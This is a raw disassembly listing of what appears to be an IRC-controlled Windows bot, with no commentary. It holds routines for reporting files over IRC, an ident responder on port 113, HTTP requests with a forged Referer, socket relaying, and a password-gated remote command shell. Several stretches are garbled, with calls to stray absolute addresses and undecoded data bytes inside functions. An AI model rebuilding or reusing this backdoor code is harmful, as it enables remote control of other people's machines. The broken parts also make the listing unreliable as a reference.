[ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 cmp [ebp+arg_8], ebx jz short loc_4108FD push 7D0h call near ptr 26A053Bh nop loc_4108FD: ; CODE XREF: sub_410330+226j ; sub_410330+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2770000h nop test eax, eax jnz loc_410550 loc_410915: ; CODE XREF: sub_410330+215j push [ebp+arg_0] nop call near ptr 25C0000h cmp [ebp+arg_8], ebx jz short loc_410958 mov eax, [ebp+var_8] cdq push edx push eax call sub_416C7D pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416C7D pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C006 add esp, 14h jmp short loc_41098C ; --------------------------------------------------------------------------- loc_410958: ; CODE XREF: sub_410330+5F1j cmp [ebp+arg_C], ebx jz short loc_410972 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C006 pop ecx pop ecx jmp short loc_41098C ; --------------------------------------------------------------------------- loc_410972: ; CODE XREF: sub_410330+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C006 add esp, 10h loc_41098C: ; CODE XREF: sub_410330+626j ; sub_410330+640j lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 pop edi pop esi xor eax, eax pop ebx leave retn sub_410330 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109B2 proc near ; CODE XREF: sub_40FEFE+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 2730000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410A6A push esi push ebx nop call near ptr 2760000h cmp eax, esi mov [ebp+arg_4], eax jz short loc_410A63 loc_4109F7: ; CODE XREF: sub_4109B2+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BD10 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A14 mov edi, [ebp+arg_4] loc_410A14: ; CODE XREF: sub_4109B2+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 2790000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 27110B5h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_410A5E call dword_4C9298 cmp eax, 2733h jnz short loc_410A63 xor eax, eax loc_410A5E: ; CODE XREF: sub_4109B2+9Bj sub [ebp+arg_4], eax jnz short loc_4109F7 loc_410A63: ; CODE XREF: sub_4109B2+43j ; sub_4109B2+A8j push ebx nop call near ptr 2680000h loc_410A6A: ; CODE XREF: sub_4109B2+30j pop edi pop esi pop ebx leave retn sub_4109B2 endp ; =============== S U B R O U T I N E ======================================= sub_410A6F proc near ; CODE XREF: sub_410080+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B960 test eax, eax pop ecx jbe short loc_410A98 loc_410A82: ; CODE XREF: sub_410A6F+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410A8C mov byte ptr [esi+edi], 2Fh loc_410A8C: ; CODE XREF: sub_410A6F+17j push edi inc esi call sub_41B960 cmp esi, eax pop ecx jb short loc_410A82 loc_410A98: ; CODE XREF: sub_410A6F+11j mov eax, edi pop edi pop esi retn sub_410A6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A9D proc near ; CODE XREF: sub_401AC7+5201p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4C9274 push 6 push 1 push 2 call dword_4C9384 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4C9304 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8E4 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jz short loc_410B7A mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B16 mov eax, offset byte_43B4B8 loc_410B16: ; CODE XREF: sub_410A9D+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4C9354 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4C931C pop esi loc_410B7A: ; CODE XREF: sub_410A9D+6Bj push ebx call dword_4C939C call dword_4C925C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C006 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BBA push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_410BBA: ; CODE XREF: sub_410A9D+102j pop edi pop ebx leave retn sub_410A9D endp ; --------------------------------------------------------------------------- loc_410BBE: ; DATA XREF: ___:00401660o ; sub_401AC7+4389o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BD10 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4C9304 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D1F mov eax, [ebp+8] push edi imul eax, 234h mov dword_43C24C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4C9330 cmp eax, 0FFFFFFFFh jz loc_410D1F push 5 push ebx call dword_4C932C cmp eax, 0FFFFFFFFh jz loc_410D1F mov [ebp-0Ch], edi mov edi, 200h loc_410C49: ; CODE XREF: ___:00410CA8j ; ___:00410D08j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4C9398 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D1A movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4C9390 push eax lea eax, [ebp-238h] push offset dword_43495C push eax call sub_41C006 lea eax, [ebp-238h] push eax call sub_415CEE add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_410C49 lea eax, [ebp-238h] push esi push eax call sub_41847D push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BD10 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE77 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C100 add esp, 34h lea eax, [ebp-238h] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4C9354 cmp eax, 0FFFFFFFFh jz loc_410C49 mov dword ptr [ebp-8], 1 jmp loc_410C49 ; --------------------------------------------------------------------------- loc_410D1A: ; CODE XREF: ___:00410C5Ej cmp [ebp-8], esi jnz short loc_410D46 loc_410D1F: ; CODE XREF: ___:00410C05j ; ___:00410C29j ... call dword_4C9298 push eax lea eax, [ebp-238h] push offset dword_434918 push eax call sub_41C006 lea eax, [ebp-238h] push eax call sub_415CEE add esp, 10h loc_410D46: ; CODE XREF: ___:00410D1Dj push ebx call dword_4C939C push dword ptr [ebp-4] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push esi nop call near ptr 2700000h pop edi pop esi pop ebx loc_410D69: ; DATA XREF: sub_401AC7+609Eo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4C9304 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410ED5 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43C24C[ecx], eax call dword_4C9214 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4C9330 test eax, eax jnz loc_410ED5 push 0Ah push dword ptr [ebp+8] call dword_4C932C test eax, eax jnz loc_410ED5 loc_410E19: ; CODE XREF: ___:00410E2Fj lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4C9398 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E19 movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4C9390 push eax lea eax, [ebp-350h] push offset unk_4349C4 push eax call sub_41C006 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3AD mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43C244[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410EFA push esi push esi ; --------------------------------------------------------------------------- dd 28F6EDE8h, 4D8B9002h, 34C969C4h, 3B000002h, 548189C6h dd 740043C2h, 0D0753913h, 0FF63850Fh, 326AFFFFh, 0F67DE890h dd 0EDEB0228h, 0FFE3E890h, 68500228h, 434988h, 4E91E8h dd 0EB595900h db 3 ; --------------------------------------------------------------------------- loc_410ED5: ; CODE XREF: ___:00410DCCj ; ___:00410E00j ... mov edi, [ebp+8] push edi call dword_4C939C push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-40h] call sub_40B6C9 pop ecx push esi nop call near ptr 2700000h pop edi pop esi loc_410EFA: ; DATA XREF: ___:00410E8Do push ebp mov ebp, esp mov eax, 1344h call sub_41C2A0 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4C9384 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110B0 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4C9304 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4C9344 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410F8A lea eax, [ebp-13Ch] push eax call dword_4C9388 jmp short loc_410F98 ; --------------------------------------------------------------------------- loc_410F8A: ; CODE XREF: ___:00410F79j push 2 lea eax, [ebp-8] push 4 push eax call dword_4C92BC loc_410F98: ; CODE XREF: ___:00410F88j cmp eax, edi jz loc_4110B0 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_4110B0 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4C9390 push eax lea eax, [ebp-344h] push offset unk_434A4C push eax call sub_41C006 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3AD imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43C24C[ebx] mov dword_43C244[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43C250[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_4110E1 push edi push edi nop call near ptr 26A0586h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43C254[ecx], eax jz short loc_41109D loc_41104A: ; CODE XREF: ___:00411057j cmp [ebp-20h], edi jnz short loc_411059 push 32h call near ptr 26A053Bh nop jmp short loc_41104A ; --------------------------------------------------------------------------- loc_411059: ; CODE XREF: ___:0041104Dj mov ebx, 1000h loc_41105E: ; CODE XREF: ___:00411099j push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4C931C cmp eax, edi jle short loc_4110B0 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_41105E jmp short loc_4110B0 ; --------------------------------------------------------------------------- loc_41109D: ; CODE XREF: ___:00411048j nop call near ptr 26A0EA9h push eax push offset unk_434A0C call sub_415D62 pop ecx pop ecx loc_4110B0: ; CODE XREF: ___:00410F3Ej ; ___:00410F9Aj ... mov eax, [ebp-4] imul eax, 234h push dword_43C24C[eax] call dword_4C939C push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-4] call sub_40B6C9 pop ecx push edi nop call near ptr 2700000h pop edi pop esi pop ebx loc_4110E1: ; DATA XREF: ___:0041102Ao push ebp mov ebp, esp mov eax, 1128h call sub_41C2A0 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_411118: ; CODE XREF: ___:0041115Dj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43C250[esi] call dword_4C931C test eax, eax jle short loc_41115F push 0 push eax lea eax, [ebp-1128h] push eax push dword_43C24C[esi] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_411118 loc_41115F: ; CODE XREF: ___:00411142j push dword_43C250[esi] call dword_4C939C push dword ptr [ebp-14h] call sub_40B6C9 pop ecx push 0 ; --------------------------------------------------------------------------- dw 85E8h dd 90022EEEh ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43C24C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4C92EC test eax, eax jnz short loc_411202 push dword ptr [esi] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push edi nop call near ptr 2700000h loc_411202: ; CODE XREF: ___:004111E8j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4C931C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_411383 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_411383 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_411383 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4C9258 test eax, eax jz short loc_41127B call dword_4C9298 push eax push offset unk_434B24 call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 0Ch push edi call near ptr 2700000h nop loc_41127B: ; CODE XREF: ___:00411256j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4C92BC cmp eax, edi jnz short loc_4112A5 push dword ptr [ebp-18h] call dword_4C9390 push eax lea eax, [ebp-0B0h] push eax call sub_41C006 jmp short loc_4112B3 ; --------------------------------------------------------------------------- loc_4112A5: ; CODE XREF: ___:0041128Bj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C620 loc_4112B3: ; CODE XREF: ___:004112A3j pop ecx pop ecx push edi push ebx push offset byte_43B4B8 push dword ptr [esi] call dword_4C9354 cmp dword_4CC06C, edi jnz short loc_411315 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4113DD add esp, 10h test eax, eax jnz short loc_411315 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4C9354 push dword ptr [esi] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push edi call near ptr 2700000h nop loc_411315: ; CODE XREF: ___:004112CAj ; ___:004112EBj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434AE8 call sub_415D62 push dword ptr [ebp+8] call sub_411694 add esp, 10h test eax, eax jnz short loc_41135C nop call near ptr 26A0EA9h push eax push offset unk_434ABC call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 0Ch push ebx call near ptr 2700000h nop loc_41135C: ; CODE XREF: ___:00411337j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434A90 call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 10h push edi call near ptr 2700000h nop ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411383 proc near ; CODE XREF: ___:00411218p ; ___:00411225p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4C931C cmp eax, 1 jnz short loc_4113D3 mov esi, [ebp+arg_4] loc_4113A1: ; CODE XREF: sub_411383+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4113C8 test al, al jz short loc_4113D7 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4C931C cmp eax, 1 jz short loc_4113A1 jmp short loc_4113D3 ; --------------------------------------------------------------------------- loc_4113C8: ; CODE XREF: sub_411383+27j push offset unk_434B50 call sub_415D62 pop ecx loc_4113D3: ; CODE XREF: sub_411383+19j ; sub_411383+43j xor eax, eax jmp short loc_4113DA ; --------------------------------------------------------------------------- loc_4113D7: ; CODE XREF: sub_411383+2Bj push 1 pop eax loc_4113DA: ; CODE XREF: sub_411383+52j pop esi leave retn sub_411383 endp ; =============== S U B R O U T I N E ======================================= sub_4113DD proc near ; CODE XREF: ___:004112E1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_411408 push [esp+arg_4] push [esp+4+arg_0] push offset dword_434B7C call sub_415D62 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_411408: ; CODE XREF: sub_4113DD+11j push 1 pop eax retn sub_4113DD endp ; --------------------------------------------------------------------------- dword_41140C dd 81EC8B55h, 5A4ECh, 8458B00h, 786A5756h, 8DF08B59h, 0FFFDECBDh ; DATA XREF: sub_401AC7+2364o dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh dd 202h, 927415FFh, 0F633004Ch, 1D74C63Bh, 4CEC6850h, 0FE80043h dd 0FF000049h, 6EE8B475h, 83FFFFA2h, 90570CC4h, 2EEB9BE8h dd 8A685702h, 90004116h, 37F7D0E8h, 75C08502h, 2EE89029h dd 500228FAh, 434CA868h, 48DCE800h, 59590000h, 925C15FFh dd 75FF004Ch, 0A233E8B4h, 5759FFFFh, 0EB62E890h, 6A53022Eh dd 0E0458D10h, 65E85056h, 830000A8h, 0C7660CC4h, 2E045h dd 0FFB075FFh, 4C930415h, 57066A00h, 8966026Ah, 7589E245h dd 8415FFE4h, 8B004C93h, 0FFFB83D8h, 13B840Fh, 458B0000h dd 69106AB4h, 234C0h, 4C988900h, 8D0043C2h, 5350E045h dd 933015FFh, 0C085004Ch, 117850Fh, 0FF680000h, 537FFFFFh dd 932C15FFh, 0C085004Ch, 103850Fh, 6C680000h, 0C700434Ch dd 0CF045h, 75890000h, 0F87589F4h, 47C5E8h, 7D895900h dd 0FC458D08h, 10FC45C7h, 50000000h, 50CC458Dh, 9815FF53h dd 8B004C93h, 0FFFF83F8h, 0CA840Fh, 75FF0000h, 8458D08h dd 68086A50h, 0FFFFh, 0E415FF57h, 83004C92h, 0C574FFF8h dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 4C9390h dd 0EC858D50h, 68FFFFFBh, 434C28h, 0AA78E850h, 858D0000h dd 0FFFFFBECh, 4754E850h, 8D570000h, 0FFFBEC85h, 50096AFFh dd 0FF9E04E8h, 0B84589FFh, 234C069h, 4D8B0000h, 24C483B4h dd 0C2448889h, 458D0043h, 858D50DCh, 0FFFFFDECh, 7E685056h dd 8D004111h, 5056F045h, 0EFACE890h, 4D8B0228h, 34C969B8h dd 3B000002h, 548189C6h, 740043C2h, 0C8753913h, 0FF37850Fh dd 326AFFFFh, 0EF3DE890h, 0EDEB0228h, 0F8A3E890h, 68500228h dd 434BECh, 4751E8h, 0EB595900h, 87D8B03h, 929815FFh, 8D50004Ch dd 0FFFBEC85h, 4BB468FFh, 0E8500043h, 0A9D6h, 390CC483h dd 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h, 0FFFDF085h dd 0B5FF50FFh, 0FFFFFDECh, 0FF820DE8h, 14C483FFh, 0FBEC858Dh dd 0E850FFFFh, 468Ah, 15FF5759h, 4C939Ch, 9C15FF53h, 0FF004C93h dd 4C925C15h, 0B475FF00h, 0FFA048E8h, 905659FFh, 2EE977E8h dd 0C0335B02h, 4244439h, 0C3C0940Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411694 proc near ; CODE XREF: ___:0041132Dp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_4117E5 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43C24C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42708C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119B7 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_4116FF nop call near ptr 26A0EA9h push eax push offset unk_434D4C call sub_415D62 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_411739 ; --------------------------------------------------------------------------- loc_4116FF: ; CODE XREF: sub_411694+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411A69 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411740 nop call near ptr 26A0EA9h push eax push offset unk_434D4C call sub_415D62 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26B0E2Fh loc_411739: ; CODE XREF: sub_411694+69j xor eax, eax jmp loc_4117E0 ; --------------------------------------------------------------------------- loc_411740: ; CODE XREF: sub_411694+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2790EE9h sub eax, ebx jz short loc_41179A dec eax jz short loc_411794 dec eax jz short loc_411780 call near ptr 26A0EA9h nop push eax push offset unk_434D18 call sub_415D62 pop ecx pop ecx jmp short loc_4117AF ; --------------------------------------------------------------------------- loc_411780: ; CODE XREF: sub_411694+D5j mov edi, dword_4270BC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117AF ; --------------------------------------------------------------------------- loc_411794: ; CODE XREF: sub_411694+D2j push ebx push dword ptr [esi+10h] jmp short loc_41179E ; --------------------------------------------------------------------------- loc_41179A: ; CODE XREF: sub_411694+CFj push ebx push dword ptr [esi+14h] loc_41179E: ; CODE XREF: sub_411694+104j call near ptr 26B0E2Fh nop push 1 push dword ptr [esi+8] nop call near ptr 273066Ch loc_4117AF: ; CODE XREF: sub_411694+EAj ; sub_411694+FEj push dword ptr [esi+10h] mov edi, dword_427078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4C939C push esi call sub_41BA31 pop ecx push 1 pop eax loc_4117E0: ; CODE XREF: sub_411694+A7j pop edi pop esi pop ebx leave retn sub_411694 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4117E5 proc near ; CODE XREF: sub_411694+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BC9B mov esi, eax pop ecx cmp esi, edi jz loc_4118CF mov ebx, dword_427114 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427078 test eax, eax jnz short loc_411848 nop call near ptr 26A0EA9h push eax push offset unk_434DFC jmp short loc_411868 ; --------------------------------------------------------------------------- loc_411848: ; CODE XREF: sub_4117E5+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_411870 nop call near ptr 26A0EA9h push eax push offset unk_434DBC loc_411868: ; CODE XREF: sub_4117E5+61j call sub_415D62 pop ecx jmp short loc_41189E ; --------------------------------------------------------------------------- loc_411870: ; CODE XREF: sub_4117E5+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_4118DE add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_4118D3 push offset unk_434D94 call sub_415CEE loc_41189E: ; CODE XREF: sub_4117E5+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118AA push [ebp+var_4] call edi loc_4118AA: ; CODE XREF: sub_4117E5+BEj cmp [ebp+var_8], 0 jz short loc_4118B5 push [ebp+var_8] call edi loc_4118B5: ; CODE XREF: sub_4117E5+C9j mov eax, [esi] test eax, eax jz short loc_4118BE push eax call edi loc_4118BE: ; CODE XREF: sub_4117E5+D4j mov eax, [esi+4] test eax, eax jz short loc_4118C8 push eax call edi loc_4118C8: ; CODE XREF: sub_4117E5+DEj push esi call sub_41BA31 pop ecx loc_4118CF: ; CODE XREF: sub_4117E5+1Dj xor eax, eax jmp short loc_4118D9 ; --------------------------------------------------------------------------- loc_4118D3: ; CODE XREF: sub_4117E5+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4118D9: ; CODE XREF: sub_4117E5+ECj pop edi pop esi pop ebx leave retn sub_4117E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118DE proc near ; CODE XREF: sub_4117E5+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BD10 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BD10 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi 